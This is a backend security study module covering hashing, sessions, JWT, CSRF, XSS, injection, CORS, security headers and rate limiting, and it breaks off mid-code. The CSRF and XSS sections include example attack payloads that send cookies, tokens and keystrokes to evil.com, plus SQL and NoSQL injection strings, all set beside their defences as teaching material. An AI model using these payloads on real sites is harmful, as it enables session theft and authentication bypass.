Module 05: Authentication & Security
Goal: Understand JWT, sessions, CSRF, XSS, and all security concepts needed for backend development and interviews. Time: 2-3 days of focused study Prerequisites: Module 01-04
Table of Contents
- Authentication vs Authorization
- Password Hashing — Never Store Plain Passwords
- Session-Based Authentication
- Token-Based Authentication (JWT)
- JWT Deep Dive — Structure, Signing, Verification
- Refresh Tokens — Solving JWT Expiration
- Session vs JWT — When to Use Which
- CSRF — Cross-Site Request Forgery
- XSS — Cross-Site Scripting
- SQL Injection & NoSQL Injection
- CORS — Cross-Origin Resource Sharing (Deep Dive)
- Security Headers (Helmet.js)
- Rate Limiting & Brute Force Protection
- OAuth 2.0 — Third-Party Login
- HTTPS & TLS
- Input Sanitization
- Security Best Practices Checklist
- Real-World Implementation
- Interview Questions
1. Authentication vs Authorization
AUTHENTICATION (AuthN) AUTHORIZATION (AuthZ)
"Who are you?" "What can you do?"
───────────────────── ─────────────────────
• Login with username/password • Role-based (admin, user, editor)
• Verify identity • Permission-based (read, write, delete)
• "Prove you are Alice" • "Alice can edit posts but can't delete users"
Example flow:
1. User sends credentials → Authentication
2. Server verifies identity → Authentication
3. Server checks permissions → Authorization
4. Server allows/denies → Authorization// Authentication middleware — "Are you logged in?"
function authenticate(req, res, next) {
const token = req.headers.authorization?.split(' ')[1];
if (!token) return res.status(401).json({ error: 'Authentication required' });
try {
const decoded = jwt.verify(token, process.env.JWT_SECRET);
req.user = decoded; // Attach user info to request
next();
} catch (err) {
return res.status(401).json({ error: 'Invalid or expired token' });
}
}
// Authorization middleware — "Do you have permission?"
function authorize(...roles) {
return (req, res, next) => {
if (!roles.includes(req.user.role)) {
return res.status(403).json({ error: 'Insufficient permissions' });
}
next();
};
}
// Usage:
app.get('/api/users', authenticate, authorize('admin'), getUsers);
// ↑ Must be logged in ↑ Must be admin2. Password Hashing
Why Hash Passwords?
If your database is breached (and it WILL happen), stored passwords are exposed.
❌ Plain text: password123 → Attacker knows the password immediately
❌ Encrypted: aG9sYQ== → Attacker can decrypt if they find the key
❌ Simple hash: ef92b778bafe771e89... → Attacker uses rainbow tables
✅ Salted hash: $2b$10$X7xK... → Each password has unique salt, very slow to crackUsing bcrypt (Recommended)
const bcrypt = require('bcrypt');
// ---- HASHING A PASSWORD ----
async function hashPassword(plainPassword) {
const saltRounds = 12; // Higher = slower = more secure (10-12 recommended)
const hash = await bcrypt.hash(plainPassword, saltRounds);
return hash;
// Returns something like: $2b$12$LJ3m4ys3Lg.Uc/H7K5xDOuhJF.bG4A6jP7T3vVi2TflMVa3cS
// Format: $2b$[cost]$[22-char salt][31-char hash]
// The salt is embedded in the hash! No need to store it separately.
}
// ---- VERIFYING A PASSWORD ----
async function verifyPassword(plainPassword, storedHash) {
const isMatch = await bcrypt.compare(plainPassword, storedHash);
return isMatch; // true or false
}
// ---- COMPLETE REGISTRATION & LOGIN FLOW ----
// Registration
app.post('/api/auth/register', async (req, res) => {
const { email, password, name } = req.body;
// Check if user exists
const existingUser = await User.findOne({ email });
if (existingUser) {
return res.status(409).json({ error: 'Email already registered' });
}
// Hash password
const hashedPassword = await bcrypt.hash(password, 12);
// Create user
const user = await User.create({
name,
email,
password: hashedPassword, // NEVER store plain password
});
res.status(201).json({
message: 'Registration successful',
user: { id: user.id, name: user.name, email: user.email },
// NEVER send password back, not even the hash!
});
});
// Login
app.post('/api/auth/login', async (req, res) => {
const { email, password } = req.body;
// Find user
const user = await User.findOne({ email });
if (!user) {
// Don't reveal whether email exists or not!
return res.status(401).json({ error: 'Invalid credentials' });
}
// Verify password
const isMatch = await bcrypt.compare(password, user.password);
if (!isMatch) {
return res.status(401).json({ error: 'Invalid credentials' });
// Same message as "user not found" — prevents email enumeration
}
// Generate token (covered in next section)
const token = generateToken(user);
res.json({ token, user: { id: user.id, name: user.name } });
});How bcrypt Works Internally
1. Generate random salt (22 characters)
2. Combine salt + password
3. Run through Blowfish cipher [cost] times (2^12 = 4096 iterations)
4. Output: $2b$12$[salt][hash]
Why bcrypt is better than SHA-256:
- bcrypt is INTENTIONALLY SLOW (100ms+ per hash)
- SHA-256 is FAST (can compute billions per second)
- Slow = attacker can only try ~10 passwords/second with bcrypt
- Fast = attacker can try billions/second with SHA-256Alternative: Argon2 (Newer, Also Recommended)
const argon2 = require('argon2');
// Hash
const hash = await argon2.hash(password, {
type: argon2.argon2id, // Recommended variant
memoryCost: 2 ** 16, // 64MB memory usage
timeCost: 3, // 3 iterations
parallelism: 1, // 1 thread
});
// Verify
const isMatch = await argon2.verify(hash, password);3. Session-Based Authentication
How Sessions Work
Browser Server
│ │
│ 1. POST /login {email, password} │
│ ────────────────────────────────────►│
│ │ 2. Verify credentials
│ │ 3. Create session in store:
│ │ sessions["abc123"] = { userId: 1, role: "admin" }
│ 4. Set-Cookie: sessionId=abc123 │
│ ◄────────────────────────────────────│
│ │
│ 5. GET /profile │
│ Cookie: sessionId=abc123 │
│ ────────────────────────────────────►│
│ │ 6. Look up sessions["abc123"]
│ │ 7. Found! User is authenticated.
│ 8. Response: { name: "Alice" } │
│ ◄────────────────────────────────────│Implementation with express-session
const express = require('express');
const session = require('express-session');
const RedisStore = require('connect-redis').default;
const { createClient } = require('redis');
const app = express();
// Create Redis client for session storage
const redisClient = createClient({ url: 'redis://localhost:6379' });
redisClient.connect();
// Configure session middleware
app.use(session({
store: new RedisStore({ client: redisClient }), // Store sessions in Redis
secret: process.env.SESSION_SECRET, // Used to sign the session ID cookie
name: 'sessionId', // Cookie name (default: connect.sid)
resave: false, // Don't save session if unmodified
saveUninitialized: false, // Don't create session until something stored
cookie: {
httpOnly: true, // JavaScript can't access the cookie
secure: true, // Only send over HTTPS
sameSite: 'strict', // CSRF protection
maxAge: 24 * 60 * 60 * 1000, // 24 hours
// domain: '.example.com', // Share across subdomains
}
}));
// Login — create session
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body;
const user = await verifyCredentials(email, password);
if (!user) {
return res.status(401).json({ error: 'Invalid credentials' });
}
// Store user data in session
req.session.userId = user.id;
req.session.role = user.role;
req.session.loginAt = new Date();
res.json({ message: 'Logged in', user: { id: user.id, name: user.name } });
});
// Protected route — check session
app.get('/profile', (req, res) => {
if (!req.session.userId) {
return res.status(401).json({ error: 'Not authenticated' });
}
res.json({
userId: req.session.userId,
role: req.session.role,
});
});
// Logout — destroy session
app.post('/auth/logout', (req, res) => {
req.session.destroy((err) => {
if (err) return res.status(500).json({ error: 'Logout failed' });
res.clearCookie('sessionId');
res.json({ message: 'Logged out' });
});
});Session Storage Options
Storage │ Pros │ Cons
────────────────┼───────────────────────────────┼──────────────────────────
Memory (default)│ Fast, no setup │ Lost on restart, can't scale
File │ Persists across restarts │ Slow, single server only
Redis │ Fast, persistent, scalable │ Requires Redis server
MongoDB │ Persistent, familiar │ Slower than Redis
PostgreSQL │ Persistent, ACID │ Slower than Redis
Production recommendation: ALWAYS use Redis for sessions.4. Token-Based Authentication (JWT)
How JWT Works
Browser Server
│ │
│ 1. POST /login {email, password} │
│ ────────────────────────────────────►│
│ │ 2. Verify credentials
│ │ 3. Create JWT:
│ │ sign({ userId: 1, role: "admin" }, secret)
│ 4. { token: "eyJhbG..." } │
│ ◄────────────────────────────────────│
│ │
│ 5. GET /profile │
│ Authorization: Bearer eyJhbG... │
│ ────────────────────────────────────►│
│ │ 6. Verify JWT signature
│ │ 7. Decode payload: { userId: 1, role: "admin" }
│ │ No database lookup needed!
│ 8. Response: { name: "Alice" } │
│ ◄────────────────────────────────────│Key difference from sessions:
- Sessions store data on the server (in Redis/database)
- JWT stores data in the token itself (sent with every request)
- The server doesn't need to look anything up — it just verifies the signature
5. JWT Deep Dive
JWT Structure
A JWT has three parts separated by dots:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiIsImlhdCI6MTcwNTMxMjAwMCwiZXhwIjoxNzA1Mzk4NDAwfQ.SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c
│─────────── Header ──────────│──────────── Payload ────────────│──────── Signature ────────│// HEADER (algorithm + type)
{
"alg": "HS256", // Signing algorithm
"typ": "JWT" // Token type
}
// Base64Url encoded → eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9
// PAYLOAD (claims — the actual data)
{
"userId": 1, // Custom claim
"role": "admin", // Custom claim
"iat": 1705312000, // Issued At (standard claim)
"exp": 1705398400, // Expiration (standard claim)
"iss": "my-app", // Issuer (standard claim)
"sub": "user:1", // Subject (standard claim)
"aud": "my-api" // Audience (standard claim)
}
// Base64Url encoded → eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiIs...
// SIGNATURE
HMACSHA256(
base64UrlEncode(header) + "." + base64UrlEncode(payload),
secret
)
// → SflKxwRJSMeKKF2QT4fwpMeJf36POk6yJV_adQssw5c⚠️ CRITICAL: JWT is NOT Encrypted!
// Anyone can decode a JWT and read its payload!
const token = "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VySWQiOjEsInJvbGUiOiJhZG1pbiJ9.xxx";
// Decode WITHOUT verification (no secret needed):
const payload = JSON.parse(
Buffer.from(token.split('.')[1], 'base64url').toString()
);
console.log(payload); // { userId: 1, role: "admin" }
// NEVER put sensitive data in JWT:
// ❌ password, credit card, SSN, full address
// ✅ userId, role, email (non-sensitive identifiers)
// The SIGNATURE prevents TAMPERING, not reading.
// If someone changes the payload, the signature won't match.Implementation with jsonwebtoken
const jwt = require('jsonwebtoken');
const JWT_SECRET = process.env.JWT_SECRET; // Use a strong random string (256+ bits)
const JWT_EXPIRES_IN = '15m'; // Access token: short-lived
// ---- CREATING (SIGNING) A TOKEN ----
function generateAccessToken(user) {
return jwt.sign(
{
userId: user.id,
email: user.email,
role: user.role,
},
JWT_SECRET,
{
expiresIn: JWT_EXPIRES_IN,
issuer: 'my-app',
audience: 'my-api',
}
);
}
// ---- VERIFYING A TOKEN ----
function verifyAccessToken(token) {
try {
const decoded = jwt.verify(token, JWT_SECRET, {
issuer: 'my-app',
audience: 'my-api',
});
return decoded;
// { userId: 1, email: "alice@example.com", role: "admin", iat: ..., exp: ... }
} catch (err) {
if (err instanceof jwt.TokenExpiredError) {
throw new Error('Token expired');
}
if (err instanceof jwt.JsonWebTokenError) {
throw new Error('Invalid token');
}
throw err;
}
}
// ---- MIDDLEWARE ----
function authenticate(req, res, next) {
const authHeader = req.headers.authorization;
if (!authHeader || !authHeader.startsWith('Bearer ')) {
return res.status(401).json({ error: 'No token provided' });
}
const token = authHeader.split(' ')[1];
try {
const decoded = verifyAccessToken(token);
req.user = decoded;
next();
} catch (err) {
return res.status(401).json({ error: err.message });
}
}Signing Algorithms
Symmetric (same key for sign and verify):
HS256 — HMAC + SHA-256 (most common, simple)
HS384 — HMAC + SHA-384
HS512 — HMAC + SHA-512
Pros: Simple, fast
Cons: Secret must be shared with everyone who verifies
Asymmetric (private key to sign, public key to verify):
RS256 — RSA + SHA-256
RS512 — RSA + SHA-512
ES256 — ECDSA + SHA-256
Pros: Only auth server needs private key, others verify with public key
Cons: Slower, more complex// Asymmetric example (RS256):
const fs = require('fs');
const jwt = require('jsonwebtoken');
const privateKey = fs.readFileSync('./private.pem');
const publicKey = fs.readFileSync('./public.pem');
// Sign with PRIVATE key (only auth server)
const token = jwt.sign({ userId: 1 }, privateKey, {
algorithm: 'RS256',
expiresIn: '15m',
});
// Verify with PUBLIC key (any service can verify)
const decoded = jwt.verify(token, publicKey, {
algorithms: ['RS256'], // ALWAYS specify allowed algorithms!
});JWT Security Vulnerabilities
// 1. Algorithm "none" attack
// Some JWT libraries accept alg: "none" — no signature needed!
// ALWAYS specify algorithms when verifying:
jwt.verify(token, secret, { algorithms: ['HS256'] }); // ✅
jwt.verify(token, secret); // ❌ Might accept "none"
// 2. Algorithm confusion attack
// Attacker changes RS256 to HS256 and uses the PUBLIC key as HMAC secret
// ALWAYS specify expected algorithm:
jwt.verify(token, publicKey, { algorithms: ['RS256'] }); // ✅
// 3. Weak secret
// ❌ jwt.sign(payload, "secret") // Can be brute-forced!
// ❌ jwt.sign(payload, "my-app-secret") // Still weak
// ✅ jwt.sign(payload, crypto.randomBytes(64).toString('hex')) // Strong!
// Generate a strong secret:
// node -e "console.log(require('crypto').randomBytes(64).toString('hex'))"
// 4. Token stored in localStorage (vulnerable to XSS)
// More on this in the XSS section below.6. Refresh Tokens
The Problem with Short-Lived Tokens
Short expiry (15min) = Secure but annoying (user re-logs in frequently)
Long expiry (30 days) = Convenient but dangerous (stolen token valid for a month)
Solution: Use TWO tokens:
• Access Token — short-lived (15 min), used to access APIs
• Refresh Token — long-lived (7 days), used ONLY to get new access tokensHow Refresh Tokens Work
1. User logs in:
Server returns: { accessToken: "...", refreshToken: "..." }
2. User makes API calls:
Authorization: Bearer <accessToken>
3. Access token expires (after 15 min):
API returns: 401 Unauthorized
4. Client uses refresh token to get new access token:
POST /auth/refresh { refreshToken: "..." }
Server returns: { accessToken: "new-token" }
5. Client continues with new access token
6. Refresh token expires (after 7 days):
User must log in againImplementation
const jwt = require('jsonwebtoken');
const crypto = require('crypto');
const ACCESS_TOKEN_SECRET = process.env.ACCESS_TOKEN_SECRET;
const REFRESH_TOKEN_SECRET = process.env.REFRESH_TOKEN_SECRET;
// In-memory store (use Redis in production!)
const refreshTokens = new Map(); // userId → Set of valid refresh tokens
// ---- LOGIN: Issue both tokens ----
app.post('/auth/login', async (req, res) => {
const { email, password } = req.body;
const user = await verifyCredentials(email, password);
if (!user) return res.status(401).json({ error: 'Invalid credentials' });
const accessToken = jwt.sign(
{ userId: user.id, role: user.role },
ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
);
const refreshToken = jwt.sign(
{ userId: user.id, tokenId: crypto.randomUUID() },
REFRESH_TOKEN_SECRET,
{ expiresIn: '7d' }
);
// Store refresh token
if (!refreshTokens.has(user.id)) {
refreshTokens.set(user.id, new Set());
}
refreshTokens.get(user.id).add(refreshToken);
// Send refresh token as httpOnly cookie (more secure than sending in body)
res.cookie('refreshToken', refreshToken, {
httpOnly: true,
secure: true,
sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000, // 7 days
path: '/auth/refresh', // Only sent to this endpoint
});
res.json({ accessToken });
});
// ---- REFRESH: Get new access token ----
app.post('/auth/refresh', async (req, res) => {
const refreshToken = req.cookies.refreshToken;
if (!refreshToken) return res.status(401).json({ error: 'No refresh token' });
try {
const decoded = jwt.verify(refreshToken, REFRESH_TOKEN_SECRET);
// Check if token is in our valid tokens list
const userTokens = refreshTokens.get(decoded.userId);
if (!userTokens || !userTokens.has(refreshToken)) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
// ROTATION: Remove old refresh token, issue new one
userTokens.delete(refreshToken);
const user = await User.findById(decoded.userId);
const newAccessToken = jwt.sign(
{ userId: user.id, role: user.role },
ACCESS_TOKEN_SECRET,
{ expiresIn: '15m' }
);
const newRefreshToken = jwt.sign(
{ userId: user.id, tokenId: crypto.randomUUID() },
REFRESH_TOKEN_SECRET,
{ expiresIn: '7d' }
);
userTokens.add(newRefreshToken);
res.cookie('refreshToken', newRefreshToken, {
httpOnly: true, secure: true, sameSite: 'strict',
maxAge: 7 * 24 * 60 * 60 * 1000,
path: '/auth/refresh',
});
res.json({ accessToken: newAccessToken });
} catch (err) {
return res.status(401).json({ error: 'Invalid refresh token' });
}
});
// ---- LOGOUT: Invalidate refresh token ----
app.post('/auth/logout', authenticate, (req, res) => {
const refreshToken = req.cookies.refreshToken;
if (refreshToken) {
const userTokens = refreshTokens.get(req.user.userId);
if (userTokens) userTokens.delete(refreshToken);
}
res.clearCookie('refreshToken', { path: '/auth/refresh' });
res.json({ message: 'Logged out' });
});
// ---- LOGOUT ALL DEVICES ----
app.post('/auth/logout-all', authenticate, (req, res) => {
refreshTokens.delete(req.user.userId); // Remove ALL refresh tokens
res.clearCookie('refreshToken', { path: '/auth/refresh' });
res.json({ message: 'Logged out from all devices' });
});Where to Store Tokens on the Client
Storage │ XSS Safe │ CSRF Safe │ Recommendation
────────────────┼──────────┼───────────┼───────────────────────
localStorage │ ❌ No │ ✅ Yes │ ❌ Avoid (XSS can steal it)
sessionStorage │ ❌ No │ ✅ Yes │ ❌ Avoid (XSS can steal it)
Cookie (regular)│ ❌ No │ ❌ No │ ❌ Avoid
Cookie (httpOnly│ ✅ Yes │ ❌ No │ ✅ Use with CSRF protection
+ secure + │ │ │
sameSite) │ │ │
Memory (JS var) │ ✅ Yes │ ✅ Yes │ ✅ Best for access tokens
│ │ │ (lost on page refresh)
RECOMMENDED APPROACH:
• Access token: In memory (JavaScript variable) — not accessible to XSS
• Refresh token: In httpOnly cookie — not accessible to JavaScript
• When page loads: Call /auth/refresh to get new access token7. Session vs JWT — When to Use Which
Feature │ Session-Based │ JWT-Based
─────────────────────┼────────────────────────┼────────────────────────
State │ Stateful (server) │ Stateless (token)
Storage │ Server (Redis/DB) │ Client (cookie/memory)
Scalability │ Needs shared store │ Any server can verify
Revocation │ ✅ Easy (delete from │ ❌ Hard (must blacklist
│ store) │ or wait for expiry)
Size │ Small cookie (ID only) │ Larger (payload in token)
Server memory │ Uses memory/storage │ No server storage needed
Cross-domain │ ❌ Difficult (cookies │ ✅ Easy (send in header)
│ are domain-bound) │
Mobile apps │ ❌ Cookies not ideal │ ✅ Works well
Microservices │ ❌ Need shared session │ ✅ Each service verifies
│ store │ independently
Security │ Session hijacking │ Token theft, no revocation
WHEN TO USE SESSIONS:
• Traditional web apps (server-side rendered)
• When you need instant revocation (logout = immediate)
• Single-domain applications
• When you need to limit concurrent sessions
WHEN TO USE JWT:
• Single Page Applications (SPAs) with API backends
• Mobile applications
• Microservice architectures
• Cross-domain / Cross-origin APIs
• When scalability matters (no shared state)8. CSRF — Cross-Site Request Forgery
What is CSRF?
CSRF tricks an authenticated user into unknowingly performing actions on a website where they're logged in.
THE ATTACK:
1. Alice is logged into bank.com (has session cookie)
2. Alice visits evil.com (attacker's site)
3. evil.com contains: <img src="https://bank.com/transfer?to=attacker&amount=10000">
4. Browser automatically sends bank.com's cookies with the request!
5. Bank processes the transfer because Alice IS authenticated
WHY IT WORKS:
• Cookies are sent AUTOMATICALLY with every request to the domain
• The browser doesn't care WHERE the request originated
• The bank can't tell if the request came from its own page or evil.comMore Realistic CSRF Example
<!-- On evil.com — hidden form that auto-submits -->
<body onload="document.getElementById('csrfForm').submit()">
<form id="csrfForm" action="https://bank.com/api/transfer" method="POST">
<input type="hidden" name="to" value="attacker-account" />
<input type="hidden" name="amount" value="10000" />
</form>
</body>
<!-- Or with JavaScript: -->
<script>
fetch('https://bank.com/api/transfer', {
method: 'POST',
credentials: 'include', // Send cookies
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
// This WON'T work because of CORS (browser blocks it)
// But the form submission DOES work (forms bypass CORS)
</script>CSRF Protection Methods
// 1. SameSite Cookie Attribute (BEST — modern browsers)
res.cookie('sessionId', value, {
sameSite: 'strict', // Cookie NEVER sent from cross-origin requests
// OR
sameSite: 'lax', // Sent only with top-level navigation (GET only)
// 'strict' breaks: links from emails, social media opening your site
// 'lax' is a good balance
});
// 2. CSRF Tokens (Traditional approach)
// npm install csurf (deprecated) or csrf-csrf
const { doubleCsrf } = require('csrf-csrf');
const { doubleCsrfProtection, generateToken } = doubleCsrf({
getSecret: () => process.env.CSRF_SECRET,
cookieName: '_csrf',
cookieOptions: {
httpOnly: true,
sameSite: 'strict',
secure: true,
},
});
// Apply CSRF protection
app.use(doubleCsrfProtection);
// Generate token for client
app.get('/auth/csrf-token', (req, res) => {
res.json({ csrfToken: generateToken(req, res) });
});
// Client sends token in header with every request:
// X-CSRF-Token: <token>
// 3. Check Origin/Referer Header
function csrfCheck(req, res, next) {
const origin = req.headers.origin || req.headers.referer;
const allowedOrigins = ['https://myapp.com', 'https://www.myapp.com'];
if (req.method !== 'GET' && !allowedOrigins.some(o => origin?.startsWith(o))) {
return res.status(403).json({ error: 'CSRF check failed' });
}
next();
}
// 4. Custom Request Headers
// Browsers don't allow cross-origin requests with custom headers (CORS blocks it)
// So requiring a custom header like X-Requested-With prevents CSRF
function requireCustomHeader(req, res, next) {
if (req.method !== 'GET' && !req.headers['x-requested-with']) {
return res.status(403).json({ error: 'Missing custom header' });
}
next();
}Why JWT APIs Are Mostly CSRF-Safe
JWT sent in Authorization header:
✅ CSRF-safe because attackers can't set custom headers cross-origin
JWT sent in cookie:
❌ NOT CSRF-safe because cookies are sent automatically!
Session cookie:
❌ NOT CSRF-safe — need CSRF tokens or SameSite attribute
RULE: If you use cookies for authentication, you MUST protect against CSRF.
If you use Authorization header, CSRF is not a concern.9. XSS — Cross-Site Scripting
What is XSS?
XSS allows attackers to inject malicious JavaScript into your website, which runs in other users' browsers.
Types of XSS
1. STORED XSS (Persistent)
Attack: Attacker saves <script>...</script> in a comment/post
Trigger: Every user who views the page runs the malicious script
Example: Blog comment: "<script>fetch('https://evil.com?cookie=' + document.cookie)</script>"
2. REFLECTED XSS (Non-Persistent)
Attack: Attacker crafts a URL with malicious script in query params
Trigger: Victim clicks the link
Example: https://mysite.com/search?q=<script>alert('hacked')</script>
3. DOM-BASED XSS
Attack: Client-side JavaScript uses user input unsafely
Trigger: When client JS reads from URL, document, or other controllable sources
Example: document.innerHTML = location.hash.slice(1);
URL: https://mysite.com#<img src=x onerror=alert('XSS')>What Can an Attacker Do with XSS?
// 1. Steal cookies (and session tokens)
new Image().src = 'https://evil.com/steal?cookie=' + document.cookie;
// 2. Steal tokens from localStorage
fetch('https://evil.com/steal?token=' + localStorage.getItem('token'));
// 3. Keylog passwords
document.querySelector('#password').addEventListener('keyup', (e) => {
fetch('https://evil.com/keys?key=' + e.key);
});
// 4. Redirect to phishing page
window.location = 'https://evil-lookalike.com/login';
// 5. Modify page content (show fake login form)
document.body.innerHTML = '<h1>Session expired. Please log in again.</h1>' +
'<form action="https://evil.com/phish"><input name="password" type="password"><button>Login</button></form>';
// 6. Make requests as the user (CSRF via XSS)
fetch('/api/admin/delete-all', { method: 'DELETE' });XSS Prevention
// 1. NEVER insert user input into HTML without escaping
// ❌ Dangerous:
element.innerHTML = userInput;
res.send(`<h1>Hello, ${req.query.name}</h1>`);
// ✅ Safe — escape HTML entities:
function escapeHtml(str) {
const map = {
'&': '&',
'<': '<',
'>': '>',
'"': '"',
"'": ''',
};
return str.replace(/[&<>"']/g, char => map[char]);
}
res.send(`<h1>Hello, ${escapeHtml(req.query.name)}</h1>`);
// ✅ Even safer — use a template engine that escapes by default:
// EJS: <%= variable %> auto-escapes, <%- variable %> does NOT escape
// 2. Content Security Policy (CSP) — strongest defense
app.use((req, res, next) => {
res.setHeader('Content-Security-Policy',
"default-src 'self'; " +
"script-src 'self'; " + // Only allow scripts from same origin
"style-src 'self'; " + // Only allow styles from same origin
"img-src 'self' data: https:; " +
"connect-src 'self' https://api.myapp.com; " +
"font-src 'self'; " +
"frame-src 'none'; " + // No iframes
"object-src 'none';" // No plugins
);
next();
});
// Or use helmet.js (see section 12)
// 3. httpOnly cookies — prevent JS access to cookies
res.cookie('session', value, { httpOnly: true });
// document.cookie will NOT show this cookie
// 4. Sanitize input on the server
// npm install dompurify jsdom (for server-side)
const createDOMPurify = require('dompurify');
const { JSDOM } = require('jsdom');
const DOMPurify = createDOMPurify(new JSDOM('').window);
const dirty = '<script>alert("xss")</script><b>Hello</b>';
const clean = DOMPurify.sanitize(dirty);
// clean = '<b>Hello</b>' — script tag removed!
// 5. Use textContent instead of innerHTML (browser)
element.textContent = userInput; // Safe — treats everything as text
// element.innerHTML = userInput; // ❌ Dangerous — parses as HTML10. SQL Injection & NoSQL Injection
SQL Injection
// ❌ VULNERABLE — user input directly in SQL query
const query = `SELECT * FROM users WHERE username = '${req.body.username}' AND password = '${req.body.password}'`;
// Attack: username = "admin' OR '1'='1' --"
// Resulting query: SELECT * FROM users WHERE username = 'admin' OR '1'='1' --' AND password = ''
// This returns ALL users because '1'='1' is always true!
// The -- comments out the rest of the query
// ✅ SAFE — parameterized queries (prepared statements)
const query = 'SELECT * FROM users WHERE username = $1 AND password = $2';
const result = await pool.query(query, [req.body.username, req.body.password]);
// Parameters are treated as DATA, never as SQL commands
// ✅ SAFE — using an ORM (like Prisma, Sequelize, Knex)
const user = await prisma.user.findUnique({
where: { username: req.body.username }
});
// ORMs automatically use parameterized queriesNoSQL Injection (MongoDB)
// ❌ VULNERABLE — user input can contain operators
app.post('/login', async (req, res) => {
const user = await User.findOne({
username: req.body.username,
password: req.body.password,
});
});
// Attack: POST body = { "username": "admin", "password": { "$ne": "" } }
// MongoDB query becomes: { username: "admin", password: { $ne: "" } }
// This matches ANY document where password is not empty!
// ✅ SAFE — validate and sanitize input
const { body } = require('express-validator');
app.post('/login',
body('username').isString().trim(),
body('password').isString().trim(),
async (req, res) => {
// Ensure types are strings, not objects
const user = await User.findOne({
username: String(req.body.username),
password: String(req.body.password), // Still bad to compare plain passwords!
});
}
);
// Or use mongo-sanitize:
const mongoSanitize = require('express-mongo-sanitize');
app.use(mongoSanitize()); // Strips $ and . from req.body, req.query, req.params11. CORS Deep Dive
What is CORS?
CORS is a browser security feature. It blocks frontend JavaScript from making requests to a different origin (domain, protocol, or port) unless the server explicitly allows it.
Same Origin:
https://myapp.com/page1 → https://myapp.com/api/users ✅ Same origin
Cross Origin (blocked by default):
https://myapp.com → https://api.myapp.com ❌ Different subdomain
http://localhost:3000 → http://localhost:5000 ❌ Different port
https://myapp.com → http://myapp.com ❌ Different protocolHow CORS Works — The Preflight Request
For "simple" requests (GET, POST with form data):
Browser sends request directly, checks Access-Control-Allow-Origin in response.
For "complex" requests (PUT, DELETE, custom headers, JSON body):
Browser sends a PREFLIGHT request first (OPTIONS method):
Browser Server
│ │
│ OPTIONS /api/users │ ← Preflight
│ Origin: http://localhost:3000 │
│ Access-Control-Request-Method: PUT │
│ Access-Control-Request-Headers: │
│ Content-Type, Authorization │
│ ────────────────────────────────────►│
│ │
│ 200 OK │ ← Preflight Response
│ Access-Control-Allow-Origin: * │
│ Access-Control-Allow-Methods: PUT │
│ Access-Control-Allow-Headers: │
│ Content-Type, Authorization │
│ Access-Control-Max-Age: 86400 │
│ ◄────────────────────────────────────│
│ │
│ PUT /api/users/123 │ ← Actual Request (only if preflight passed)
│ Origin: http://localhost:3000 │
│ Authorization: Bearer token │
│ ────────────────────────────────────►│
│ │
│ 200 OK │ ← Actual Response
│ Access-Control-Allow-Origin: * │
│ ◄────────────────────────────────────│CORS Configuration Patterns
const cors = require('cors');
// Development — allow everything
app.use(cors());
// Production — strict configuration
const corsOptions = {
origin: function (origin, callback) {
const whitelist = [
'https://myapp.com',
'https://www.myapp.com',
'https://admin.myapp.com'
];
// Allow requests with no origin (mobile apps, curl, server-to-server)
if (!origin || whitelist.includes(origin)) {
callback(null, true);
} else {
callback(new Error('Not allowed by CORS'));
}
},
methods: ['GET', 'POST', 'PUT', 'PATCH', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization', 'X-Requested-With'],
credentials: true, // Allow cookies
maxAge: 86400, // Cache preflight for 24 hours
exposedHeaders: ['X-Total-Count', 'X-Request-ID'], // Headers client can read
};
app.use(cors(corsOptions));
// ⚠️ IMPORTANT: When credentials: true, origin CANNOT be '*'
// You must specify exact origins12. Security Headers
// npm install helmet
const helmet = require('helmet');
// helmet() enables many headers at once:
app.use(helmet());
// Individual headers it sets:
// 1. Content-Security-Policy — prevents XSS
// Controls which resources the browser can load
app.use(helmet.contentSecurityPolicy({
directives: {
defaultSrc: ["'self'"],
scriptSrc: ["'self'", "https://cdn.example.com"],
styleSrc: ["'self'", "'unsafe-inline'"],
imgSrc: ["'self'", "data:", "https:"],
connectSrc: ["'self'", "https://api.example.com"],
fontSrc: ["'self'", "https://fonts.googleapis.com"],
objectSrc: ["'none'"],
frameSrc: ["'none'"],
}
}));
// 2. X-Content-Type-Options: nosniff
// Prevents browser from MIME-sniffing (guessing content type)
app.use(helmet.noSniff());
// 3. X-Frame-Options: DENY
// Prevents your site from being loaded in an iframe (clickjacking protection)
app.use(helmet.frameguard({ action: 'deny' }));
// 4. Strict-Transport-Security (HSTS)
// Forces browsers to use HTTPS
app.use(helmet.hsts({
maxAge: 31536000, // 1 year
includeSubDomains: true,
preload: true,
}));
// 5. X-XSS-Protection: 0
// Disables browser's XSS filter (can cause issues, CSP is better)
// 6. Referrer-Policy
// Controls how much referrer info is sent
app.use(helmet.referrerPolicy({ policy: 'strict-origin-when-cross-origin' }));
// 7. X-DNS-Prefetch-Control: off
// Prevents DNS prefetching
app.use(helmet.dnsPrefetchControl());
// 8. X-Permitted-Cross-Domain-Policies: none
// Prevents Flash/PDF cross-domain data loading
app.use(helmet.permittedCrossDomainPolicies());13. Rate Limiting & Brute Force Protection
const rateLimit = require('express-rate-limit');
const RedisStore = require('rate-limit-redis').default;
const { createClient } = require('redis');
const redisClient = createClient({ url: process.env.REDIS_URL });
// General API rate limiter
const apiLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
windowMs: 15 * 60 * 1000, // 15 minutes
max: 100, // 100 requests per window
message: { error: 'Too many requests, try again later' },
standardHeaders: true,
legacyHeaders: false,
keyGenerator: (req) => req.ip, // Rate limit by IP
});
// Strict auth limiter (brute force protection)
const authLimiter = rateLimit({
store: new RedisStore({ sendCommand: (...args) => redisClient.sendCommand(args) }),
windowMs: 15 * 60 * 1000,
max: 5, // Only 5 attempts per 15 minutes
skipSuccessfulRequests: true, // Don't count successful logins
message: { error: 'Too many login attempts. Try again in 15 minutes.' },
